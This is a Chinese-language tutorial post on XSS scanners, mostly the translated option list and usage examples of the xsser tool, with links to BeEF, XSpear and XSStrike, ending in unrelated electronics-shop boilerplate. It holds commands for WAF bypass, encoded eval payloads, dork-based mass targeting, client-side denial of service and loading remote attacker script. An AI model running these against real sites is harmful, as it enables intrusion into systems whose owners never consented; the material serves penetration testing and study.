BeEF-XSS详细使用教程:https://blog.csdn.net/smli_ng/article/details/106067842

xss 扫描 工具

关键字:xss 扫描 工具

还在往各种输入框里提交 <script>alert(/xss/)</script> ? 有这功夫不如喝喝茶、划划水? 这时候就需要 XSS 扫描 工具

xsser

github:https://github.com/epsylon/xsser

xsser 是一个自动框架,用于检测、利用和报告基于 Web 的应用程序中的 XSS 漏洞。

用法:

xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |- c <crawl> (OPTIONS)] [URL(s)] [Checker(s)] [Vector(s)] [Anti-anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}

选项:     --version         显示版本     -h, --help        显示帮助     -s, --statistics  显示高级统计输出结果     -v, --verbose     详细显示输出结果     --gtk             启动 XSSer GTK 接口     --wizard          启动向导助手

*特殊功能*:     设置 Vector(s) 和 Bypasser(s) 来为嵌入的 XSS 代码构建复杂的脚本。      XST 允许您发现目标是否容易受到 "跨站点跟踪" 的影响 [CAPEC-107]     --imx=IMX        使用 XSS 创建图像 (--imx image.png)     --fla=FLASH      使用 XSS 创建 Flash 电影 (--fla movie.swf)     --xst=XST        跨站点跟踪 (--xst http(s)://host.com)

*选择目标*:( 这些参数至少指定一个 )         --all=TARGET       自动审计整个目标     -u URL, --url=URL  输入要审计的目标URL     -i READFILE        从文件中读取目标URL     -d DORK            使用查询搜索目标(例如:'news.php?id=')     -l                 从 "dorks" 列表中搜索     --De=DORK_ENGINE   使用这个搜索引擎(默认:DuckDuckGo)     --Da               使用所有搜索引擎进行海量搜索

*选择 HTTP/HTTPS 连接类型*:     ( 指定哪些参数用作有效负载。在要注入的位置上将 "XSS" 设置为关键字 )     -g GETDATA          使用 GET 发送有效负载(例如:'/menu.php?id=XSS')     -p POSTDATA         使用 POST 发送有效负载(例如:'foo=1&bar=XSS')     -c CRAWLING         在目标上抓取的 url 数量:1-99999     --Cw=CRAWLER_WIDTH  爬虫深度:1-5(默认:2)     --Cl                仅抓取本地目标 URL(默认值:FALSE)

*配置请求*:( 指定如何连接到目标有效载荷。可以选择多个 )         --head                在开始测试之前发送 HEAD 请求     --cookie=COOKIE       更改您的 HTTP Cookie 标头     --drop-cookie         忽略响应中的 Set-Cookie 标头     --user-agent=AGENT    更改您的 HTTP User-Agent 标头(默认值:SPOOFED)     --referer=REFERER     使用另一个 HTTP Referer 标头(默认值:NONE)     --xforw               使用随机 IP 值设置 HTTP X-Forwarded-For     --xclient             使用随机 IP 值设置您的 HTTP X-Client-IP     --headers=HEADERS     额外的 HTTP 标头换行分隔     --auth-type=ATYPE     HTTP 身份验证类型(基本、摘要、GSS 或 NTLM)     --auth-cred=ACRED     HTTP 身份验证凭据(名称:密码)     --check-tor           检查 Tor 是否正确使用     --proxy=PROXY         使用代理服务器 (tor: http://localhost:8118)     --ignore-proxy        忽略系统默认的HTTP代理     --timeout=TIMEOUT     选择你的超时时间(默认值:30)     --retries=RETRIES     连接超时重试(默认值:1)     --threads=THREADS     最大并发请求数(默认:5)     --delay=DELAY         每个请求之间的延迟秒数(默认值:0)     --tcp-nodelay         使用 TCP_NODELAY 选项     --follow-redirects    跟随服务器重定向(默认值:FALSE)     --follow-limit=FLI    设置重定向请求的限制(默认值:50)

*Checker(s)*:( 检查目标是否使用过滤器来抵御 XSS 攻击 )          --hash             发送一个哈希来检查目标是否重复内容     --heuristic        使用启发式过滤来发现参数     --discode=DISCODE  在回复时设置代码以丢弃注入     --checkaturl=ALT   检查回复使用:<alternative url> [aka BLIND-XSS]     --checkmethod=ALTM 检查回复使用:GET 或 POST(默认:GET)     --checkatdata=ALD  检查回复使用:<alternative payload>     --reverse-check    建立从目标到 XSSer 的反向连接

*Vector(s)*:     指定注入代码。     --payload=SCRIPT   注入你自己的代码     --auto             注入 XSSer 提供的

*选择 payload*:     设置 XSSer 提供的向量列表。 仅在需要时选择     --auto-set=FZZ_NUM      要注入的向量限制(默认值:1293)     --auto-info             仅选择带有 INFO 的向量(默认值:FALSE)     --auto-random           设置随机排序(默认值:FALSE)

*反 antiXSS 防火墙规则*:     这些选项可用于尝试绕过特定的 WAF/IDS 产品和一些反 XSS 浏览器过滤器。     仅在需要时选择:         --Phpids0.6.5 PHPIDS (0.6.5) [全部]     --Phpids0.7 PHPIDS (0.7) [全部]     --Imperva Imperva Incapsula [全部]     --Webknight WebKnight (4.1) [Chrome]     --F5bigip F5 大IP [Chrome + FF + Opera]     --Barracuda Barracuda WAF [全部]     --Modsec Mod-Security [全部]     --QuickDefense 快速防御 [Chrome]     --Sucuri SucuriWAF [全部]     --Firefox Firefox 12 [及以下]     --Chrome Chrome 19 和 Firefox 12 [及以下]     --Opera Opera 10.5 [及以下]     --Iexplorer IExplorer 9 & Firefox 12 [及以下]

*选择 Bypasser(旁路器)*:     用于对向量进行编码并尝试绕过可能的反 XSS 过滤器。      它们可以与其他技术结合使用     --Str     使用方法 String.FromCharCode()     --Une     使用 Unescape() 函数     --Mix     混合 String.FromCharCode() 和 Unescape()     --Dec     使用十进制编码     --Hex     使用十六进制编码     --Hes     使用带分号的十六进制编码     --Dwo     使用 DWORD 编码 IP 地址     --Doo     使用八进制编码 IP 地址     --Cem=CEM 设置不同的 "字符编码突变"(反转混淆器)(例如:'Mix,Une,Str,Hex')

*特殊技术*:     这些选项可用于使用不同的 XSS 技术和模糊向量注入代码。可以选择多个     --Coo    跨站脚本 Cookie 注入     --Xsa    跨站点代理脚本     --Xsr    跨站引用脚本     --Dcp    数据控制协议注入     --Dom    文档对象模型注入     --Ind    HTTP 响应拆分诱导代码

*选择最终注射*:     这些选项可用于指定要在易受攻击的目标上注入的最终代码。      如果您\想 "疯狂地" 利用发现的漏洞,这一点很重要。 只选择一个选项     --Fp=FINALPAYLOAD    利用你自己的代码     --Fr=FINALREMOTE     利用脚本 -remotely-

*特殊最终注射*:     这些选项可用于在易受攻击的目标上执行一些“特殊”注入。      您可以选择多个并将它们与您的最终代码组合(DCP 漏洞利用除外)         --Anchor    使用 "Anchor Stealth" 有效载荷(DOM 阴影!)     --B64       META 标签中的 Base64 代码编码 (rfc2397)     --Onm       使用 onMouseMove() 事件     --Ifr       使用 <iframe> 源标签     --Dos       XSS(客户端)拒绝服务     --Doss      XSS(服务器)拒绝服务

*报告*:     --save           导出到文件 (XSSreport.raw)     --xml=FILEXML    导出为 XML (--xml file.xml)

*各种各样的*:     --silent           禁止控制台输出结果     --alive=ISALIVE    在检查目标是否处于活动状态之前设置错误限制     --update           检查最新的稳定版本

示例:

也可以图形化:xsser --gtk

XSS 跨站攻击 - (3) xsser:https://www.jianshu.com/p/3665f86730f7

使用示例:

用法举例: ============================== 从URL进行简单XSS注入: xsser -u "http://host.com"

------------------- 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数: xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"

------------------- 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex",  产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat): xsser -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w

------------------- URL进行多重注入, 使用自动化负荷和特殊的文字编码( 第一, 改变负荷为16进制;  第二, 改变第一次的编码为字节码到字符串;  第三, 把第二次的编码重新进行16进制编码),  使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程): xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"

------------------- 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测: xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une

------------------- 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!): xsser --De "duck" -d "search.php?"

------------------- 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!): xsser -c3 --Cw=4 -u "http://host.com"

------------------- 从URL简单注入, 使用POST方式, 并且统计结果: xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s

------------------- 从URL进行多重注入,发送参数类型为GET, 使用自动负荷,  使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!): xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl

------------------- 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量,  尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞",  则手工植入 "恶意" 代码 (为真正的攻击者准备!): xsser -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"

------------------- 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端: xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"

------------------- 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" , 并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数,  使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl)  来发现任何有效的攻击负荷 (真正的攻击模式!): xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"

------------------- 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传. xsser --Imx "test.png" --payload "!在这儿输入你的恶意代码!"

------------------- 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件. xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"

------------------- 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca (XSS 渗透测试 Vs 僵尸网络联盟) xsser -d "login.php" --De "duck" --publish

* 在线例子: -http://identi.ca/xsserbot01 -http://twitter.com/xsserbot01

------------------- * 使用XSS代码注入创建一个 .swf 文件 xsser --imx "name_of_file"

------------------- 如果目标产生错误的结果,则每次发送一个检测hash。 xsser -u "host.com" --check

------------------- 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用. xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"

------------------- Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用. xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64

------------------- 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。 xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch

强大的XSS扫描工具:XSpear

https://zhuanlan.zhihu.com/p/101510369

XSStrike

只能运行在

标签: 连接器df1ecc08连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台